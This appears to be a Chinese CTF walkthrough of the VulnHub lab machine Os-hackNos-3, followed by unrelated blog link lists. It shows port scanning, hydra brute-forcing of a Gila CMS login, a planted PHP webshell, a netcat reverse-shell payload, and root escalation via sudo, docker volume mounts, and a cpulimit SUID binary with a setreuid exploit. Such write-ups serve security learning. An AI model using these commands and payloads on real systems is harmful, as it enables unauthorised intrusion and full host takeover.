Os-hackNos-3

下载地址:hackNos: Os-hackNos-3 ~ VulnHub

1 信息收集

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -F 192.168.0.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-05 16:18 CST
Nmap scan report for 192.168.0.3
Host is up (0.51s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 后台目录扫描

┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [16:36:37] Starting:
[16:23:28] 200 - 195B - /index.html
[16:36:38] 200 - 2KB - /scripts
[16:36:52] 200 - 5KB - /devil
[16:36:59] 200 - 5KB - /websec Task Completed # 尝试暴破/websec的子目录
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/websec [17:23:20] 200 - 2KB - /websec/admin

1.2.1 目录分析

  1. http://192.168.0.3/scripts/

  2. http://192.168.0.3/devil/

  3. http://192.168.0.3/websec/

    收集到网站的邮箱:
    contact@hacknos.com

  4. http://192.168.0.3/websec/admin

  5. 使用cewl收集网站信息生成目标网站字典

    ┌──(kali㉿kali)-[~/OneForAll-0.4.3]
    └─$ cewl http://192.168.0.3/websec/ > cewl.txt

2 爆破后台登录页面

根据收集的网站信息,邮箱contact@hacknos.com,网站字典:cewl.txt进行爆破

2.1 BP爆破

  1. 发现该后台登录页面对登录请求的IP进行了限制

  2. 去掉Cookie头部字段后可以正常爆破:

    # 得到用户名:
    contact@hacknos.com
    # 密码
    Securityx

2.2 hydra爆破

┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form
# :Log In表示登陆错误后回包中存在的特征字符; Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-05 22:00:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (l:1/p:54), ~4 tries per task
[DATA] attacking http-post-form://192.168.0.3:80/websec/admin:username=^USER^&password=^PASS^:Log In
[80][http-post-form] host: 192.168.0.3 login: contact@hacknos.com password: Securityx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-05 22:00:18

3 利用Gila后台GetShell

  1. 在Gila CMS 文件管理页面,添加后门文件:http://192.168.0.3/websec/admin/fm

    <?php system($_POST['acmd']);?>

  2. 修改http://192.168.0.3/websec/admin/fm?f=./.htaccess文件,添加内容如下,并保存

    RewriteCond %{REQUEST_URI} !shell.php

  3. 得到webshell

  4. 构造Post请求利用nc反弹shell

    POST /websec/shell.php HTTP/1.1
    Host: 192.168.0.3
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=0dijj1gi0vejr0vsvhrtome2md; GSESSIONID=1hum7oobrai608grd992fkjm8u632f2xuzbhge31p8b1ikcjd6
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 117 acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell

  5. 利用python切换shell

    python -c 'import pty;pty.spawn("/bin/bash")'

3 提权

3.1 收集当前系统信息

  1. 查看/etc/passwd文件得到当前系统存在用户:blackdevil

  2. blackdevil家目录中找到user.txt的flag文件

  3. 查找具有SUID权限的命令:cpulimit

    www-data@hacknos:/home/blackdevil$ find / -perm -u=s 2>/dev/null
    /usr/bin/mount
    /usr/bin/passwd
    /usr/bin/chfn
    /usr/bin/newgrp
    /usr/bin/cpulimit
    /usr/bin/gpasswd
    /usr/bin/umount
    /usr/bin/su
    /usr/bin/sudo
    /usr/bin/fusermount
    /usr/bin/at
    /usr/bin/pkexec
    /usr/bin/chsh
  4. 查找用户所创建的敏感文件:没有东东

    www-data@hacknos:/home/blackdevil$ find / -user 1000 2>/dev/null

3.2 切换到用户提权

3.2.1 查找blackdevil用户密码

  1. 查看当前www-data用户的sudo权限:sudo -l,没有东东

  2. 查找可疑文件(这个真的好难找,我没搞出来):/var/local/database

    # 根据提示spreadsheet的编码方式
    Expenses
    Software Licenses,$2.78
    Maintenance,$68.87
    Mortgage Interest,$70.35
    Advertising,$9.78
    Phone,$406.80
    Insurance,$9.04
    Opss;fackespreadsheet

  3. 解码得到密码:Security@x@

    解码网站:Spreadsheet mimic - decode (spammimic.com)

  4. 切换为blackdevil用户,并查看该用户所属组

    blackdevil属于docker,sudo组

  5. 查看blackdevil用户拥有sudo命令权限:拥有所有命令的执行权限

3.2.2 sudo 提权

blackdevil@hacknos:~$ sudo su -

3.2.3 docker提权

  1. 当前系统docker镜像文件

  2. 下载docker镜像文件,启动容器并挂载宿主机的根目录

    # alpine镜像非常小非常适合用于提权
    blackdevil@hacknos:~$ docker run -it -v /:/mnt alpine /bin/sh # 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
    chroot /mnt

3.3 cpulimit 提权

3.3.1 直接提权

cpulimit -l 100 -f -- /bin/sh -p

3.3.2 利用cpulimit执行提权脚本进行提权

  1. 提权脚本

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    int main(int argc,char *argv[])
    {
    setreuid(0,0);
    execve("/bin/bash",NULL,NULL);
    }
  2. gcc编译提权脚本

    ┌──(kali㉿kali)-[~]
    └─$ gcc exp.c -o exp
  3. 上传exp文件到目标主机:BASE64编码方式

    1. 查看编译后的exp文件Base64编码:base64 exp

    2. 在目标主机上vim创建exp.b64文件,并写入exp文件Base64编码:

      www-data@hacknos:/var/www/html/websec$ vim exp.b64
    3. 解码/exp.b64文件:

      www-data@hacknos:/var/www/html/websec$ base64 -d exp.b64 > exp
  4. 编写设置权限脚本,赋予exp文件sid权限

    chmod +x exp
  5. 提权

    cpulimit -l 100 -f ./exp

最新文章

  1. 获取终端ip地址
  2. spring的注入
  3. hibernate学习笔记之一 hibernate简介
  4. GNU make简要介绍①指定变量、自动推导规则、清除工作目录过程文件
  5. PhoneJS - HTML5 JavaScript 移动开发框架
  6. VS项目如何运用svn的忽略列表
  7. HDU5649 DZY Loves Sorting 线段树
  8. winform Execl数据 导入到数据库(SQL) 分类: WinForm C# 2014-05-09 20:52 191人阅读 评论(0) 收藏
  9. c - 给分数分级别
  10. 在C#调用C++的DLL方法(二)生成托管的DLL
  11. Cocos2d-x init() 和 onEnter() 区别
  12. boost.asio系列——buffer
  13. Java-Spring MVC如何返回一个非JSP文件名字的地址
  14. Java 垃圾回收算法
  15. 《CSS核心技术详解》
  16. 主成分分析 —PCA
  17. GitHub-标签管理
  18. 013-安装VNC服务
  19. JS 响应式布局
  20. 将日期转换为指定的格式:比如转换成 年月日时分秒 这种格式:yyyy-MM-dd hh:mm:ss 或者 yyyy-MM-dd。总结下。

热门文章

  1. 【Java SE进阶】Day05 异常,线程
  2. JS中BOM与DOM操作
  3. VS2019发布至远程IIS部署流程
  4. IIS服务没有Windows身份验证
  5. python安装过程
  6. java Jdbc 简单方法
  7. Windows上将linux目录映射网络驱动器
  8. vivo 低代码平台【后羿】的探索与实践
  9. 2022年7月14日,第四组 周鹏,认识JAVA的第二天(;&#180;д`)ゞ(;д;)
  10. 第六节 FAF与GP不工作保护区的绘制